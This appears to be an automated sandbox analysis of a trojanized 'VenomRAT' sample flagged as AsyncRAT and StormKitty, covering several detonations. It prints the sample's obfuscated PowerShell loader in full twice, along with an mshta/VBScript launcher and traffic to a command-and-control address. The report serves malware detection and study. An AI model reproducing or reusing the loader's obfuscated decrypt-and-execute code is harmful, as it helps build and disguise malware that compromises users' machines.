Analysis Overview
SHA256
35dd1e24b5d7024c28d728aa28146f910c0b9832b5dff75ce5e972b5a6f414c5
Threat Level: Known bad
The file 35dd1e24b5d7024c28d728aa28146f910c0b9832b5dff75ce5e972b5a6f414c5 was found to be: Known bad.
Malicious Activity Summary
Async RAT payload
Asyncrat family
StormKitty payload
Stormkitty family
AsyncRat
Executes dropped EXE
Enumerates physical storage devices
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-04-15 15:54
Signatures
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Asyncrat family
StormKitty payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Stormkitty family
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral4
Detonation Overview
Submitted
2024-04-15 15:53
Reported
2024-04-15 15:57
Platform
win10v2004-20240412-en
Max time kernel
1s
Max time network
45s
Command Line
Signatures
AsyncRat
Enumerates physical storage devices
Processes
C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe
"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Venom.bat" "
C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe
"C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function ztZFv($NRwiA){ $nQAla=[System.Security.Cryptography.Aes]::Create(); $nQAla.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nQAla.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nQAla.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('QdoYxUkiCqDUKhWwrTH7AerfcIF5j7b/N2RWKPLtoYY='); $nQAla.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('odLQJwhJTyobsFXcB4hGIA=='); $gHZYb=$nQAla.CreateDecryptor(); $return_var=$gHZYb.TransformFinalBlock($NRwiA, 0, $NRwiA.Length); $gHZYb.Dispose(); $nQAla.Dispose(); $return_var;}function RqfAN($NRwiA){ $eThoy=New-Object System.IO.MemoryStream(,$NRwiA); $sppNM=New-Object System.IO.MemoryStream; Invoke-Expression '$TwzvL #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$eThoy,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $TwzvL.CopyTo($sppNM); $TwzvL.Dispose(); $eThoy.Dispose(); $sppNM.Dispose(); $sppNM.ToArray();}function mReVh($NRwiA,$dHouc){ $RXzAR = @( '$nUQVd = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$NRwiA);', '$TAeyG = $nUQVd.EntryPoint;', '$TAeyG.Invoke($null, $dHouc);' ); foreach ($CnxNU in $RXzAR) { Invoke-Expression $CnxNU };}$DsIiH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Roaming\Venom.bat').Split([Environment]::NewLine);foreach ($REdJF in $DsIiH) { if ($REdJF.StartsWith('SEROXEN')) { $LHnvh=$REdJF.Substring(7); break; }}$AShmJ=RqfAN (ztZFv ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($LHnvh)));mReVh $AShmJ (,[string[]] ('C:\Users\Admin\AppData\Roaming\Venom.bat')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fcYQxVhvEiaGdINTAJQc4312:oTLsfQxw=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.114.53.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
Files
memory/4748-0-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp
memory/4748-1-0x00000000001D0000-0x0000000001BFA000-memory.dmp
memory/4748-2-0x0000000003CF0000-0x0000000003D00000-memory.dmp
C:\Users\Admin\AppData\Roaming\Venom.bat
| MD5 | 04fd97b8a5d2132eee84f856ee0fa938 |
| SHA1 | 0d1d515140d76fcd9a2dc7f08f9d7a7d9f8d691a |
| SHA256 | bb33e3c94abeda061b89a1d70d2430b74fcc40a81b09c732878939308a676e49 |
| SHA512 | e5b4e624343b3e9bec048c894ba681a44d8e71735c03445c361f059dc0aeb53afabeee37bb82ea9ad47187d305ecf28c1b6e46a039a1630da08e2488edb00778 |
C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe
| MD5 | 3b3a304c6fc7a3a1d9390d7cbff56634 |
| SHA1 | e8bd5244e6362968f5017680da33f1e90ae63dd7 |
| SHA256 | 7331368c01b2a16bda0f013f376a039e6aeb4cb2dd8b0c2afc7ca208fb544c58 |
| SHA512 | 7f1beacb6449b3b3e108016c8264bb9a21ecba526c2778794f16a7f9c817c0bbd5d4cf0c208d706d25c54322a875da899ab047aab1e07684f6b7b6083981abe5 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Venom RAT + HVNC + Stealer + Grabber.exe.log
| MD5 | 2ff39f6c7249774be85fd60a8f9a245e |
| SHA1 | 684ff36b31aedc1e587c8496c02722c6698c1c4e |
| SHA256 | e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced |
| SHA512 | 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1 |
memory/4748-21-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp
memory/1492-20-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp
memory/1492-22-0x00000232648C0000-0x00000232656F4000-memory.dmp
memory/1492-23-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp
memory/4244-24-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp
memory/4244-26-0x000001966C250000-0x000001966C272000-memory.dmp
memory/4244-36-0x000001966A1D0000-0x000001966A1E0000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rftrmkns.wtr.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4244-25-0x000001966A1D0000-0x000001966A1E0000-memory.dmp
memory/4244-37-0x000001966C670000-0x000001966C6B4000-memory.dmp
memory/4244-38-0x000001966C740000-0x000001966C7B6000-memory.dmp
memory/4244-39-0x0000019674AE0000-0x0000019675378000-memory.dmp
memory/4244-40-0x00007FFDD4680000-0x00007FFDD473E000-memory.dmp
memory/4244-41-0x00007FFDD5490000-0x00007FFDD5685000-memory.dmp
memory/4244-43-0x00007FFDD5490000-0x00007FFDD5685000-memory.dmp
memory/4244-45-0x00007FFDD5490000-0x00007FFDD5685000-memory.dmp
memory/4244-44-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp
memory/4244-46-0x000001966C7C0000-0x000001966D28A000-memory.dmp
memory/4244-47-0x000001966D290000-0x000001966D32A000-memory.dmp
memory/4244-48-0x000001966C400000-0x000001966C452000-memory.dmp
memory/4244-49-0x000001966C6C0000-0x000001966C718000-memory.dmp
memory/4244-50-0x000001966D330000-0x000001966D35E000-memory.dmp
memory/4244-51-0x000001966A1D0000-0x000001966A1E0000-memory.dmp
memory/4244-52-0x000001966A1D0000-0x000001966A1E0000-memory.dmp
memory/4244-59-0x000001966A1D0000-0x000001966A1E0000-memory.dmp
memory/4244-60-0x0000019650200000-0x0000019650208000-memory.dmp
memory/4244-61-0x0000000180000000-0x0000000180009000-memory.dmp
C:\Windows\$sxr-mshta.exe
| MD5 | 0b4340ed812dc82ce636c00fa5c9bef2 |
| SHA1 | 51c97ebe601ef079b16bcd87af827b0be5283d96 |
| SHA256 | dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895 |
| SHA512 | d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045 |
C:\Windows\$sxr-cmd.exe
| MD5 | 8a2122e8162dbef04694b9c3e0b6cdee |
| SHA1 | f1efb0fddc156e4c61c5f78a54700e4e7984d55d |
| SHA256 | b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450 |
| SHA512 | 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397 |
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-15 15:53
Reported
2024-04-15 15:58
Platform
win7-20240221-en
Max time kernel
147s
Max time network
158s
Command Line
Signatures
AsyncRat
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe
"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe"
Network
| Country | Destination | Domain | Proto |
| FI | 95.216.52.21:7575 | tcp | |
| FI | 95.216.52.21:7575 | tcp | |
| FI | 95.216.52.21:7575 | tcp | |
| FI | 95.216.52.21:7575 | tcp | |
| FI | 95.216.52.21:7575 | tcp | |
| FI | 95.216.52.21:7575 | tcp | |
| FI | 95.216.52.21:7575 | tcp |
Files
memory/3000-0-0x00000000008C0000-0x00000000008D6000-memory.dmp
memory/3000-1-0x000007FEF56F0000-0x000007FEF60DC000-memory.dmp
memory/3000-2-0x000000001AE70000-0x000000001AEF0000-memory.dmp
memory/3000-3-0x00000000772C0000-0x0000000077469000-memory.dmp
memory/3000-4-0x000007FEF56F0000-0x000007FEF60DC000-memory.dmp
memory/3000-5-0x000000001AE70000-0x000000001AEF0000-memory.dmp
memory/3000-6-0x00000000772C0000-0x0000000077469000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-15 15:53
Reported
2024-04-15 15:58
Platform
win10v2004-20240412-en
Max time kernel
146s
Max time network
155s
Command Line
Signatures
AsyncRat
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe
"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Client.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.177.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| NL | 23.62.61.139:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 21.114.53.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 139.61.62.23.in-addr.arpa | udp |
| FI | 95.216.52.21:7575 | tcp | |
| FI | 95.216.52.21:7575 | tcp | |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.121.18.2.in-addr.arpa | udp |
| FI | 95.216.52.21:7575 | tcp | |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
| FI | 95.216.52.21:7575 | tcp | |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.56.20.217.in-addr.arpa | udp |
| FI | 95.216.52.21:7575 | tcp | |
| FI | 95.216.52.21:7575 | tcp | |
| US | 8.8.8.8:53 | 89.16.208.104.in-addr.arpa | udp |
| FI | 95.216.52.21:7575 | tcp |
Files
memory/2112-0-0x0000000000F40000-0x0000000000F56000-memory.dmp
memory/2112-1-0x00007FFFDADC0000-0x00007FFFDB881000-memory.dmp
memory/2112-2-0x0000000001860000-0x0000000001870000-memory.dmp
memory/2112-3-0x00007FFFDADC0000-0x00007FFFDB881000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2024-04-15 15:53
Reported
2024-04-15 15:57
Platform
win7-20240221-en
Max time kernel
50s
Max time network
23s
Command Line
Signatures
AsyncRat
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe
"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"
C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Roaming\Venom.bat" "
C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe
"C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"
C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2652 -s 532
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function ztZFv($NRwiA){ $nQAla=[System.Security.Cryptography.Aes]::Create(); $nQAla.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nQAla.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nQAla.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('QdoYxUkiCqDUKhWwrTH7AerfcIF5j7b/N2RWKPLtoYY='); $nQAla.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('odLQJwhJTyobsFXcB4hGIA=='); $gHZYb=$nQAla.CreateDecryptor(); $return_var=$gHZYb.TransformFinalBlock($NRwiA, 0, $NRwiA.Length); $gHZYb.Dispose(); $nQAla.Dispose(); $return_var;}function RqfAN($NRwiA){ $eThoy=New-Object System.IO.MemoryStream(,$NRwiA); $sppNM=New-Object System.IO.MemoryStream; Invoke-Expression '$TwzvL #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$eThoy,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $TwzvL.CopyTo($sppNM); $TwzvL.Dispose(); $eThoy.Dispose(); $sppNM.Dispose(); $sppNM.ToArray();}function mReVh($NRwiA,$dHouc){ $RXzAR = @( '$nUQVd = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$NRwiA);', '$TAeyG = $nUQVd.EntryPoint;', '$TAeyG.Invoke($null, $dHouc);' ); foreach ($CnxNU in $RXzAR) { Invoke-Expression $CnxNU };}$DsIiH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Roaming\Venom.bat').Split([Environment]::NewLine);foreach ($REdJF in $DsIiH) { if ($REdJF.StartsWith('SEROXEN')) { $LHnvh=$REdJF.Substring(7); break; }}$AShmJ=RqfAN (ztZFv ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($LHnvh)));mReVh $AShmJ (,[string[]] ('C:\Users\Admin\AppData\Roaming\Venom.bat')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
Network
Files
memory/2508-0-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp
memory/2508-1-0x0000000001340000-0x0000000002D6A000-memory.dmp
memory/2508-2-0x000000001CAD0000-0x000000001CB50000-memory.dmp
C:\Users\Admin\AppData\Roaming\Venom.bat
| MD5 | 04fd97b8a5d2132eee84f856ee0fa938 |
| SHA1 | 0d1d515140d76fcd9a2dc7f08f9d7a7d9f8d691a |
| SHA256 | bb33e3c94abeda061b89a1d70d2430b74fcc40a81b09c732878939308a676e49 |
| SHA512 | e5b4e624343b3e9bec048c894ba681a44d8e71735c03445c361f059dc0aeb53afabeee37bb82ea9ad47187d305ecf28c1b6e46a039a1630da08e2488edb00778 |
C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe
| MD5 | 3b3a304c6fc7a3a1d9390d7cbff56634 |
| SHA1 | e8bd5244e6362968f5017680da33f1e90ae63dd7 |
| SHA256 | 7331368c01b2a16bda0f013f376a039e6aeb4cb2dd8b0c2afc7ca208fb544c58 |
| SHA512 | 7f1beacb6449b3b3e108016c8264bb9a21ecba526c2778794f16a7f9c817c0bbd5d4cf0c208d706d25c54322a875da899ab047aab1e07684f6b7b6083981abe5 |
memory/2652-17-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp
memory/2652-19-0x0000000000330000-0x0000000001164000-memory.dmp
memory/2508-18-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp
memory/2480-24-0x000000001B240000-0x000000001B522000-memory.dmp
memory/2480-25-0x000007FEEF370000-0x000007FEEFD0D000-memory.dmp
memory/2480-26-0x0000000002320000-0x0000000002328000-memory.dmp
memory/2480-27-0x000007FEEF370000-0x000007FEEFD0D000-memory.dmp
memory/2480-28-0x0000000002540000-0x00000000025C0000-memory.dmp
memory/2480-29-0x0000000002540000-0x00000000025C0000-memory.dmp
memory/2480-30-0x0000000002540000-0x00000000025C0000-memory.dmp
memory/2480-31-0x0000000002540000-0x00000000025C0000-memory.dmp
memory/2652-32-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp
memory/2480-33-0x000007FEEF370000-0x000007FEEFD0D000-memory.dmp
memory/2480-34-0x0000000002540000-0x00000000025C0000-memory.dmp
memory/2480-35-0x0000000002540000-0x00000000025C0000-memory.dmp
memory/2480-36-0x0000000002540000-0x00000000025C0000-memory.dmp
memory/2480-37-0x0000000002540000-0x00000000025C0000-memory.dmp